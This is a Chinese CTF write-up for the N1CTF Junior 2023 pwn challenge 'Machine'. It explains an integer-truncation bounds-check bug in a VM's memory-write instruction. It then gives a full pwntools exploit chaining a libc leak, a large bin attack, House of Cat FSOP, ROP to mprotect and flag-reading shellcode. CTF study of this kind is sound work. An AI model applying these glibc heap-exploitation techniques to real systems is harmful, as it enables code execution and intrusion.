N1CTF Junior 2023 Pwn Machine赛题复现

前言

Machine(似乎)是赛中零解题,赛中我光顾着别的题几乎没看,赛后再看发现其实蛮简单的,就是写起exp来有点麻烦(可能是我经验不足的问题((

题目环境

GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x08 0x00 0x40000000 if (A >= 0x40000000) goto 0012
0004: 0x15 0x07 0x00 0x0000009d if (A == prctl) goto 0012
0005: 0x15 0x06 0x00 0x00000038 if (A == clone) goto 0012
0006: 0x15 0x05 0x00 0x00000039 if (A == fork) goto 0012
0007: 0x15 0x04 0x00 0x0000003a if (A == vfork) goto 0012
0008: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0012
0009: 0x15 0x02 0x00 0x00000065 if (A == ptrace) goto 0012
0010: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL

题目分析

程序实现了一个比较容易分析的虚拟机,指令包括寄存器间的算术运算、内存读写、向寄存器中写立即数、堆块的申请与释放、堆块前16字节的读取。程序在堆上申请空间存储虚拟机内存和我们输入的code。内存大小可选0-0x10000,代码大小可选0-0x1000。虚拟机运行结束后程序显式调用exit(0)。

程序对指令的index做了较为严格的检查,并且不存在UAF漏洞。申请得到的堆块会全部memset为0。考虑到做的这些检查,和不存在堆块写指令,推断应该是哪里(很有可能是写指令)的检查没有做到位,或出现type confusion等问题。最终找到漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall vmrun(){
/* ... */
while (pc<(unsigned int)codeSize){
opcode=pc++;
switch(code[opcode]){
/* ... */
case '[':
v41 = *(_WORD *)&code[pc];
pc += 2;
v26 = pc++;
if ( (unsigned __int16)(8 * v41) >= (unsigned int)memSize || code[v26] > 3u )
printerr("Index Error!");
mem[v41] = regs[code[v26]];
break;
/* ... */
}
}
}

注意到8*v41是unsigned __int16类型,而我们申请的memSize为0-0x10000,也就是说只要指定memSize为0x10000,这个判断必定为false(即便memSize更小一些,这里也可能出现算术溢出,感觉memSize能设0x10000是题目降难度了)。这里的mem是_QWORD[]类型,为虚拟机内存。由此,我们可以控制下标v41为0-0xffff间的数,从而实现memmem+8*0xffff地址上的写。这个范围已经足够覆盖mem后面用户申请的堆块范围,即可以实现堆上任意写。到这里,利用思路就变得清晰起来:

unsorted bin泄露libc–large bin泄露堆地址–large bin attack覆盖_IO_list_all–FSOP

需要注意的是,为了读取free后的堆块数据,我们需要构造chunk overlap。因为有堆上任意写,我们可以通过覆盖size域轻易实现这一点。具体步骤如下:

  1. 申请大堆块chunk0
  2. 申请被攻击堆块chunk1
  3. 更改chunk0的size域使其正好包括chunk0和chunk1
  4. 申请两个大堆块chunk3和chunk4,大小正好填满chunk0和chunk1的范围,分割的位置是我们要读的位置
  5. 释放chunk1,通过chunk4即可读取chunk1的数据

然后只要写一段虚拟机的shellcode实现我们的攻击思路即可,FSOP我利用的链子是House of Cat,可以直接控制rdx转到setcontext的gadget,然后rop到mprotect使堆权限为RWX,然后ret2shellcode。比较麻烦的是,泄露的地址都在虚拟机里,没有输出出来,因此我们需要用虚拟机指令完成指令的计算、结构体的伪造等。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
from pwn import *
context(arch='amd64',os='linux')
p=process('./pwn')
libc=ELF('./libc.so.6')

codeSize=0x1000
memSize=0x10000

def malloc(idx, size):
return b'?'+p8(idx)+p16(size)
def free(idx):
return b'!'+p8(idx)
def writemem(idx, reg):
assert(0<=reg<=3)
assert(idx<=0xffff)
return b'['+p16(idx)+p8(reg)
def writeheap(idx, reg):
assert(0<=reg<=3)
idx=idx+memSize//8+1
return writemem(idx, reg)
def readmem(idx, reg):
assert(0<=reg<=3)
assert(idx<memSize>>3)
return b']'+p8(reg)+p16(idx)
def calc(op, dst, src1, src2):
assert(op in ['+','-','*','/','^','&','<','>'])
return op.encode()+p8(dst)+p8(src1)+p8(src2)
def writereg(reg, content):
assert(len(content)==8)
assert(0<=reg<=3)
return b'~'+p8(reg)+content
def clearreg(reg):
assert(0<=reg<=3)
return calc('^',reg,reg,reg)
def readheap(idx, reg, offset):
assert(0<=reg<=3)
assert(0<=idx<=6)
assert(offset==0 or offset==1)
return b'`'+p8(reg)+p8(idx)+p8(offset)
def writememblock(idx, content):
#uses reg3!!!
content=content.ljust((len(content)//8+(1 if len(content)%8 else 0))*8,b'\x00')
result=b''
for i in range(len(content)//8):
result+=writereg(3, content[i*8:i*8+8])
result+=writemem(idx+i, 3)
return result
def writeheapblock(idx, content):
return writememblock(idx+memSize//8+1, content)

p.sendlineafter(b'size of your code?\n',str(codeSize).encode())
p.sendlineafter(b'size of your memory?\n',str(memSize).encode())

sc='''
;leak libc
malloc(0,0x420)
malloc(6,0x10)
malloc(2,0x420)
malloc(6,0x10)
writereg(0,p64(0x430+0x430+0x20+1))
writeheap(0,0)
free(0)
malloc(0,0x420+0x20)
malloc(1,0x420)
free(2)
readheap(1,0,0)
writereg(1,p64(2202848))
calc('-',0,0,1)
writemem(0,0)
malloc(2,0x420)
'''
total_heap_size=0x430*2+0x20*2
sc+='''
;large bin attack && FSOP
malloc(5,0x420)
malloc(0,0x440)
malloc(6,0x10)
malloc(1,0x430)
malloc(6,0x10)
writereg(1, p64(0x430+0x450+1))
writeheap(total_heap_size//8,1)
free(5)
malloc(5,0x430)
malloc(5,0x430)

writereg(1, p64(0x451))
writeheap((total_heap_size+0x430)//8,1)
free(0)
malloc(6,0x450)
readheap(5,2,0)
free(1)
writereg(3, p64(0x470))
calc('+',2,2,3)
writemem(1,2)
writereg(1,p64(libc.sym['_IO_list_all']-0x20))
calc('+',3,0,1)
writeheap((total_heap_size+0x430+0x20)//8,3)
malloc(1,0x450)
'''
heap0idx=(total_heap_size+0x430+0x468)//8
gadget=0x53a6d
orw=b'\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05'
sc+='''
;House of Cat
writeheapblock(heap0idx,p64(0)*8+p64(1)+p64(2))
readmem(1,1)
writereg(2,p64((heap0idx+1)*8+0x10000))
calc('-', 1, 1, 2)
writemem(2, 1)
writeheap(heap0idx+10, 1)
writereg(2,p64(0x12b0))
calc('-', 1, 1, 2)
writemem(0x138//8, 1)
writereg(2,p64(gadget))
calc('+', 2, 0, 2)
writeheap(heap0idx+11, 2)
writeheapblock(heap0idx+12, p64(0)*5)
writereg(2, p64(0x500))
calc('+', 1, 1, 2)
writeheap(heap0idx+17, 1)
writeheapblock(heap0idx+18, p64(0)*2)
writereg(2, p64(0x30))
readmem(1, 1)
calc('+', 1, 1, 2)
writeheap(heap0idx+20, 1)
writeheapblock(heap0idx+21, p64(0)*3+p64(1)+p64(0)*2)
writereg(1, p64(0x2160c0+0x30))
calc('+', 1, 1, 0)
writeheap(heap0idx+27, 1)
writeheapblock(heap0idx+28, p64(0)*6)
readmem(1,1)
writereg(2, p64(0x40))
calc('+', 1, 1, 2)
writeheap(heap0idx+34, 1)

;set rop payload
readmem(2,1)
writereg(2, p64(0x138))
calc('+',1,1,2)
writemem(0xa0//8, 1)
writereg(2, p64(0x2a3e5))
calc('+',1,0,2)
writemem(0xa8//8, 1)
writemem(0x130//8, 1)
writereg(2, p64(0x2be51))
calc('+',1,0,2)
writemem(0x140//8, 1)
writereg(2, p64(0x20000))
writemem(0x148//8, 2)
writereg(2, p64(0x90529))
calc('+',1,0,2)
writemem(0x150//8, 1)
writememblock(0x158//8, p64(7)+p64(0))
writereg(2, p64(libc.sym['mprotect']))
calc('+',1,0,2)
writemem(0x168//8, 1)
readmem(2,1)
writereg(2,p64(0x200))
calc('+',1,1,2)
writemem(0x170//8, 1)
writememblock(0x200//8, orw)
'''

code=b''.join([eval(i) for i in sc.splitlines() if i and not i.startswith(';')])
p.sendafter(b'Show me the code:', code)
print(p.recvuntil(b'}'))